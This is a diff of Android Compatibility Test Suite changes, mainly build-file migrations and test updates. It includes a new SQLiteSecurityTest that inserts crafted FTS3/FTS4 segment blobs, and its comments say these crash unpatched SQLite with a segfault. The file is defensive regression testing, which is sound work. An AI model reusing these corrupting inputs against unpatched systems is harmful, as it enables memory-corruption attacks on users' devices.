+ type: "lite",
+ },
+}
diff --git a/tests/tests/batterysaving/common/Android.mk b/tests/tests/batterysaving/common/Android.mk
deleted file mode 100644
index 1328461..0000000
--- a/tests/tests/batterysaving/common/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
- $(call all-proto-files-under, proto)
-
-LOCAL_JAVA_LIBRARIES := \
- androidx.test.rules \
- androidx.legacy_legacy-support-v4 \
- mockito-target \
- compatibility-device-util-axt \
- android.test.runner.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := BatterySavingCtsCommon
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
new file mode 100644
index 0000000..fe5bf2a
--- /dev/null
+++ b/tests/tests/binder_ndk/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsNdkBinderTestCases",
+ defaults: ["cts_defaults"],
+ compile_multilib: "both",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ static_libs: [
+ "ctstestrunner-axt",
+ "libbinder_ndk_test_interface-java",
+ "nativetesthelper",
+ ],
+ jni_libs: [
+ "libbinder_ndk_test",
+ "libbinder_ndk_test_utilities",
+ "libbinder_ndk_test_interface-ndk",
+ "libbinder_ndk_test_interface_old",
+ "libbinder_ndk_test_interface_new",
+ ],
+ stl: "c++_shared",
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+}
diff --git a/tests/tests/binder_ndk/Android.mk b/tests/tests/binder_ndk/Android.mk
deleted file mode 100644
index 4851346..0000000
--- a/tests/tests/binder_ndk/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsNdkBinderTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- libbinder_ndk_test_interface-java \
- nativetesthelper
-
-LOCAL_JNI_SHARED_LIBRARIES := \
- libbinder_ndk_test \
- libbinder_ndk_test_utilities \
- libbinder_ndk_test_interface-ndk \
- libbinder_ndk_test_interface_old \
- libbinder_ndk_test_interface_new \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/binder_ndk/OWNERS b/tests/tests/binder_ndk/OWNERS
new file mode 100644
index 0000000..531df84
--- /dev/null
+++ b/tests/tests/binder_ndk/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+smoreland@google.com
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 761e020..a7a3981 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -31,62 +31,56 @@
cc_defaults {
name: "libbinder_ndk_test_defaults",
-
cflags: [
"-Wall",
"-Werror",
],
-
shared_libs: [
"liblog",
"libbinder_ndk",
],
whole_static_libs: ["libnativetesthelper_jni"],
-
sdk_version: "current",
- stl: "c++_static",
+ stl: "c++_shared",
+ gtest: false,
}
-cc_library_shared {
+cc_test_library {
name: "libbinder_ndk_test_utilities",
defaults: ["libbinder_ndk_test_defaults"],
srcs: ["utilities.cpp"],
}
-cc_library_shared {
+cc_test_library {
name: "libbinder_ndk_test_interface_new",
defaults: ["libbinder_ndk_test_defaults"],
srcs: [
"android_binder_cts_NativeService.cpp",
],
-
// Using the up-to-date version of the interface
-
shared_libs: [
"libbinder_ndk_test_interface-ndk",
"libbinder_ndk_test_utilities",
],
}
-cc_library_shared {
+cc_test_library {
name: "libbinder_ndk_test_interface_old",
defaults: ["libbinder_ndk_test_defaults"],
srcs: [
"android_binder_cts_NativeService.cpp",
],
cflags: ["-DUSING_VERSION_1"],
-
// Using the frozen version 1 of the interface
static_libs: [
"libbinder_ndk_test_interface-V1-ndk",
],
-
shared_libs: [
"libbinder_ndk_test_utilities",
],
}
-cc_library_shared {
+cc_test_library {
name: "libbinder_ndk_test",
defaults: ["libbinder_ndk_test_defaults"],
srcs: [
@@ -96,7 +90,6 @@
"test_parcel.cpp",
"test_status.cpp",
],
-
shared_libs: [
"libbinder_ndk_test_interface-ndk",
"libbinder_ndk_test_utilities",
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
new file mode 100644
index 0000000..be6215e
--- /dev/null
+++ b/tests/tests/carrierapi/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsCarrierApiTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "junit",
+ ],
+ srcs: ["src/**/*.java"],
+ sdk_version: "test_current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ // This APK must be signed to match the test SIM's cert whitelist.
+ // While "testkey" is the default, there are different per-device testkeys, so
+ // hard-code the AOSP default key to ensure it is used regardless of build
+ // environment.
+ certificate: ":aosp-testkey",
+}
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
deleted file mode 100644
index a9c5d8b..0000000
--- a/tests/tests/carrierapi/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt \
- junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsCarrierApiTestCases
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs android.test.base.stubs
-
-# This APK must be signed to match the test SIM's cert whitelist.
-# While "testkey" is the default, there are different per-device testkeys, so
-# hard-code the AOSP default key to ensure it is used regardless of build
-# environment.
-LOCAL_CERTIFICATE := build/make/target/product/security/testkey
-
-# This APK must be signed to match the test SIM's cert whitelist.
-# While "testkey" is the default, there are different per-device testkeys, so
-# hard-code the AOSP default key to ensure it is used regardless of build
-# environment.
-LOCAL_CERTIFICATE := build/make/target/product/security/testkey
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index cad9313..0111871 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -471,7 +471,7 @@
// {@link TelephonyManager#iccOpenLogicalChannel} sends a Manage Channel (open) APDU
// followed by a Select APDU with the given AID and p2 values. See Open Mobile API
// Specification v3.2 Section 6.2.7.h and TS 102 221 for details.
- int p2 = 0;
+ int p2 = 0x0C; // '0C' for no data returned (TS 102 221 Section 11.1.1.2)
response = mTelephonyManager.iccOpenLogicalChannel("", p2);
verifyValidIccOpenLogicalChannelResponse(response);
mTelephonyManager.iccCloseLogicalChannel(response.getChannel());
@@ -812,13 +812,10 @@
0, // p3: not required for STATUS
""); // filePath: not required for STATUS
String resultString = bytesToHexString(result);
- assertTrue("TelephonyManager#iccExchangeSimIO should not give an empty response",
- !resultString.isEmpty());
- // TODO(b/131353609): uncomment logic to fully check TelMan#iccExchangeSimIO response
- // FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(resultString);
- // assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
- // assertEquals("iccExchangeSimIO returned non-normal Status byte: " + resultString,
- // STATUS_NORMAL_STRING, fcpTemplate.getStatus());
+ FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(resultString);
+ assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
+ assertEquals("iccExchangeSimIO returned non-normal Status byte: " + resultString,
+ STATUS_NORMAL_STRING, fcpTemplate.getStatus());
}
/**
@@ -840,10 +837,8 @@
+ "00" // p2: value required for Envelope command
+ lc
+ envelope);
- assertNotNull("sendEnvelopeWithStatus returned: " + response, response);
- // TODO(b/131422420): uncomment logic to fully check TelMan#sendEnvelopeWithStatus response
- // assertEquals("sendEnvelopeWithStatus returned: " + response,
- // STATUS_NORMAL_STRING, response);
+ assertEquals("sendEnvelopeWithStatus returned: " + response,
+ STATUS_NORMAL_STRING, response);
}
private void verifyValidIccOpenLogicalChannelResponse(IccOpenLogicalChannelResponse response) {
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 9afd501..67d3913 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -21,7 +21,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.Manifest;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
@@ -42,7 +41,6 @@
import android.telephony.RadioAccessSpecifier;
import android.telephony.TelephonyManager;
import android.telephony.TelephonyScanManager;
-import android.util.ArraySet;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -56,7 +54,6 @@
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
-import java.util.Set;
import java.util.stream.Collectors;
/**
@@ -82,6 +79,7 @@
private NetworkScan mNetworkScan;
private NetworkScanRequest mNetworkScanRequest;
private NetworkScanCallbackImpl mNetworkScanCallback;
+ private static final int MAX_CELLINFO_WAIT_MILLIS = 5000; // 5 seconds
private static final int MAX_INIT_WAIT_MS = 60000; // 60 seconds
private Object mLock = new Object();
private boolean mReady;
@@ -211,6 +209,22 @@
}
}
+ private class CellInfoResultsCallback extends TelephonyManager.CellInfoCallback {
+ public List<CellInfo> cellInfo;
+
+ @Override
+ public synchronized void onCellInfo(List<CellInfo> cellInfo) {
+ this.cellInfo = cellInfo;
+ notifyAll();
+ }
+
+ public synchronized void wait(int millis) throws InterruptedException {
+ if (cellInfo == null) {
+ super.wait(millis);
+ }
+ }
+ }
+
private List<RadioAccessSpecifier> getRadioAccessSpecifier(List<CellInfo> allCellInfo) {
List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
List<Integer> lteChannels = new ArrayList<>();
@@ -275,6 +289,7 @@
+ "code ERROR_MODEM_UNAVAILABLE or ERROR_UNSUPPORTED",
isScanStatusValid());
}
+
@Test
public void testRequestNetworkScanLocationOffPass() {
requestNetworkScanLocationOffHelper(false);
@@ -322,20 +337,17 @@
private NetworkScanRequest buildNetworkScanRequest(boolean includeBandsAndChannels) {
// Make sure that there should be at least one entry.
- List<CellInfo> allCellInfo = mTelephonyManager.getAllCellInfo();
- if (allCellInfo == null) {
- fail("TelephonyManager.getAllCellInfo() returned NULL!");
- }
- if (allCellInfo.size() == 0) {
- fail("TelephonyManager.getAllCellInfo() returned zero-length list!");
- }
+ List<CellInfo> allCellInfo = getCellInfo();
+ List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
- // Construct a NetworkScanRequest
- List<RadioAccessSpecifier> radioAccessSpecifier = getRadioAccessSpecifier(allCellInfo);
- if (!includeBandsAndChannels) {
- radioAccessSpecifier = radioAccessSpecifier.stream().map(spec ->
+ if (allCellInfo != null && allCellInfo.size() != 0) {
+ // Construct a NetworkScanRequest
+ radioAccessSpecifier = getRadioAccessSpecifier(allCellInfo);
+ if (!includeBandsAndChannels) {
+ radioAccessSpecifier = radioAccessSpecifier.stream().map(spec ->
new RadioAccessSpecifier(spec.getRadioAccessNetwork(), null, null))
.collect(Collectors.toList());
+ }
}
Log.d(TAG, "number of radioAccessSpecifier: " + radioAccessSpecifier.size());
@@ -369,6 +381,17 @@
}
+ private List<CellInfo> getCellInfo() {
+ CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
+ mTelephonyManager.requestCellInfoUpdate(r -> r.run(), resultsCallback);
+ try {
+ resultsCallback.wait(MAX_CELLINFO_WAIT_MILLIS);
+ } catch (InterruptedException ex) {
+ fail("CellInfoCallback was interrupted: " + ex);
+ }
+ return resultsCallback.cellInfo;
+ }
+
@Test
public void testNetworkScanPermission() {
PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
@@ -564,6 +587,5 @@
p.setDataPosition(0);
NetworkScanRequest newnsr = NetworkScanRequest.CREATOR.createFromParcel(p);
assertTrue(networkScanRequest.equals(newnsr));
-
}
}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index f901e9c..1bafaa04 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -49,7 +49,7 @@
public class SQLiteDatabaseTest extends AndroidTestCase {
private static final String TAG = "SQLiteDatabaseTest";
- private static final String EXPECTED_MAJOR_MINOR_VERSION = "3.22";
+ private static final String EXPECTED_MAJOR_MINOR_VERSION = "3.28";
private static final int EXPECTED_MIN_PATCH_LEVEL = 0;
private SQLiteDatabase mDatabase;
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
new file mode 100644
index 0000000..c34a5f5
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+
+import android.content.Context;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDatabaseCorruptException;
+import android.test.AndroidTestCase;
+
+/**
+ * This CTS test verifies Magellan SQLite Security Vulnerability.
+ * Without the fix, the last statement in each test case triggers a segmentation fault and the test
+ * fails.
+ * With the fix, the last statement in each test case triggers SQLiteDatabaseCorruptException with
+ * message "database disk image is malformed (code 267 SQLITE_CORRUPT_VTAB)", this is expected
+ * behavior that we are crashing and we are not leaking data.
+ */
+public class SQLiteSecurityTest extends AndroidTestCase {
+ private static final String DATABASE_NAME = "database_test.db";
+
+ private SQLiteDatabase mDatabase;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ getContext().deleteDatabase(DATABASE_NAME);
+ mDatabase = getContext().openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE,
+ null);
+ assertNotNull(mDatabase);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ mDatabase.close();
+ getContext().deleteDatabase(DATABASE_NAME);
+
+ super.tearDown();
+ }
+
+ public void testScript1() {
+ mDatabase.beginTransaction();
+ mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+ mDatabase.execSQL("INSERT INTO ft_content VALUES(1,'aback');");
+ mDatabase.execSQL("INSERT INTO ft_content VALUES(2,'abaft');");
+ mDatabase.execSQL("INSERT INTO ft_content VALUES(3,'abandon');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES(0,0,0,0,'0 29',X"
+ + "'0005616261636b03010200ffffffff070266740302020003046e646f6e03030200');");
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ try {
+ mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abandon';");
+ } catch (SQLiteDatabaseCorruptException e) {
+ return;
+ }
+ fail("Expecting a SQLiteDatabaseCorruptException");
+ }
+
+ public void testScript2() {
+ mDatabase.beginTransaction();
+ mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(1,"
+ + "X'0004616263300301020003013103020200040130030b0200040131030c0200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(2,"
+ + "X'00056162633132030d0200040133030e0200040134030f020004013503100200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(3,"
+ + "X'0005616263313603110200040137031202000401380313020004013903140200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(4,"
+ + "X'00046162633203030200030133030402000301340305020003013503060200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(5,"
+ + "X'000461626336030702000301370308020003013803090200030139030a0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir "
+ + "VALUES(0,0,1,5,'5 157',X'0101056162633132ffffffff070236030132030136');");
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ try {
+ mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abc20';");
+ } catch (SQLiteDatabaseCorruptException e) {
+ return;
+ }
+ fail("Expecting a SQLiteDatabaseCorruptException");
+ }
+
+ public void testScript3() {
+ mDatabase.beginTransaction();
+ mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts4;");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+ + "(1,X'00046162633003010200040178030202000501780303020003013103040200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+ + "(2,X'00056162633130031f0200ffffffff07ff5566740302020003046e646f6e03030200');");
+ mDatabase.execSQL("INSERT INTO ft_segments VALUES(384,NULL);");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,0,0,0,'0 24',X'000561626331780305020005017803060200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + " (0,1,0,0,'0 24',X'000461626332030702000401780308020005017803090200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,2,0,0,'0 24',X'000461626333030a0200040178030b0200050178030c0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES" +
+ "(0,3,0,0,'0 24',X'000461626334030d0200040178030e0200050178030f0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,4,0,0,'0 24',X'000461626335031002000401780311020005017803120200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,5,0,0,'0 24',X'000461626336031302000401780314020005017803150200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,6,0,0,'0 24',X'000461626337031602000401780317020005017803180200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,7,0,0,'0 24',X'00046162633803190200040178031a0200050178031b0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,8,0,0,'0 24',X'000461626339031c0200040178031d0200050178031e0200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,9,0,0,'0 25',X'00066162633130780320020006017803210200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+ + "(0,10,0,0,'0 25',X'00056162633131032202000501780323020006017803240200');");
+ mDatabase.execSQL("INSERT INTO ft_segdir VALUES(1,0,1,2,'384 -42',X'0101056162633130');");
+ mDatabase.execSQL("INSERT INTO ft_stat VALUES(1,X'000b');");
+ mDatabase.execSQL("PRAGMA writable_schema=OFF;");
+ mDatabase.setTransactionSuccessful();
+ mDatabase.endTransaction();
+ try {
+ mDatabase.execSQL("INSERT INTO ft(ft) VALUES('merge=1,4');");
+ } catch (SQLiteDatabaseCorruptException e) {
+ return;
+ }
+ fail("Expecting a SQLiteDatabaseCorruptException");
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
new file mode 100644
index 0000000..da6558d
--- /dev/null
+++ b/tests/tests/graphics/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsGraphicsTestCases",
+ defaults: ["cts_defaults"],
+ compile_multilib: "both",
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "mockito-target-minus-junit4",
+ "compatibility-device-util-axt",
+ "ctsdeviceutillegacy-axt",
+ "ctstestrunner-axt",
+ "androidx.annotation_annotation",
+ "junit",
+ "androidx.core_core",
+ ],
+ jni_libs: ["libctsgraphics_jni"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ // Enforce public / test api only
+ sdk_version: "test_current",
+}
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
deleted file mode 100644
index d3d1046..0000000
--- a/tests/tests/graphics/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
- androidx.test.rules \
- mockito-target-minus-junit4 \
- compatibility-device-util-axt \
- ctsdeviceutillegacy-axt \
- ctstestrunner-axt \
- androidx.annotation_annotation \
- junit
-
-LOCAL_STATIC_ANDROID_LIBRARIES += \
- androidx.core_core
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsgraphics_jni
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsGraphicsTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/graphics/jni/Android.bp b/tests/tests/graphics/jni/Android.bp
new file mode 100644
index 0000000..fdcbd4a
--- /dev/null
+++ b/tests/tests/graphics/jni/Android.bp
@@ -0,0 +1,59 @@
+// Copyright 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+ name: "libctsgraphics_jni",
+ gtest: false,
+ srcs: [
+ "CtsGraphicsJniOnLoad.cpp",
+ "android_graphics_cts_ANativeWindowTest.cpp",
+ "android_graphics_cts_ASurfaceTextureTest.cpp",
+ "android_graphics_cts_BasicVulkanGpuTest.cpp",
+ "android_graphics_cts_BitmapTest.cpp",
+ "android_graphics_cts_SyncTest.cpp",
+ "android_graphics_cts_CameraGpuCtsActivity.cpp",
+ "android_graphics_cts_CameraVulkanGpuTest.cpp",
+ "android_graphics_cts_MediaVulkanGpuTest.cpp",
+ "android_graphics_cts_VulkanFeaturesTest.cpp",
+ "android_graphics_cts_VulkanPreTransformCtsActivity.cpp",
+ "CameraTestHelpers.cpp",
+ "ImageReaderTestHelpers.cpp",
+ "MediaTestHelpers.cpp",
+ "NativeTestHelpers.cpp",
+ "VulkanPreTransformTestHelpers.cpp",
+ "VulkanTestHelpers.cpp",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DGL_GLEXT_PROTOTYPES",
+ "-DEGL_EGLEXT_PROTOTYPES",
+ ],
+ static_libs: ["libvkjson_ndk"],
+ shared_libs: [
+ "libandroid",
+ "libvulkan",
+ "libnativewindow",
+ "libsync",
+ "liblog",
+ "libdl",
+ "libjnigraphics",
+ "libcamera2ndk",
+ "libmediandk",
+ "libEGL",
+ "libGLESv2",
+ ],
+ stl: "c++_static",
+ sdk_version: "current",
+}
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
deleted file mode 100644
index 2906bf5..0000000
--- a/tests/tests/graphics/jni/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsgraphics_jni
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
- CtsGraphicsJniOnLoad.cpp \
- android_graphics_cts_ANativeWindowTest.cpp \
- android_graphics_cts_ASurfaceTextureTest.cpp \
- android_graphics_cts_BasicVulkanGpuTest.cpp \
- android_graphics_cts_BitmapTest.cpp \
- android_graphics_cts_SyncTest.cpp \
- android_graphics_cts_CameraGpuCtsActivity.cpp \
- android_graphics_cts_CameraVulkanGpuTest.cpp \
- android_graphics_cts_MediaVulkanGpuTest.cpp \
- android_graphics_cts_VulkanFeaturesTest.cpp \
